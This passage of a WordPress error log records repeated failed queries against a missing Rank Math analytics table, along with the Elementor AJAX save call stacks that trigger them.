WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 17:50:16 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 17:50:18 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 18:01:36 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 18:01:36 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1318 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 18:10:51 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 18:10:51 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1320 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 18:10:51 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 18:10:51 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1321 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 18:10:52 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 18:10:52 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1322 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 18:21:13 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1323 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->get_autosave, wp_create_post_autosave, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 18:21:13 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1323 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 18:21:15 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1323 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 18:33:14 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1323 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 18:33:14 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1323 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 18:39:11 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1323 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 18:39:13 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1323 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 18:40:34 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 18:40:34 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1325 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 18:40:34 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 18:40:34 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1326 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 18:40:35 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 18:40:35 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1327 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 18:44:18 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 18:44:19 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1328 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 18:44:19 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 18:44:19 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1329 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 18:44:20 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 18:44:20 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1330 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 19:02:39 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 19:02:39 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1331 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 19:02:39 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 19:02:39 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1332 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 19:02:40 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, 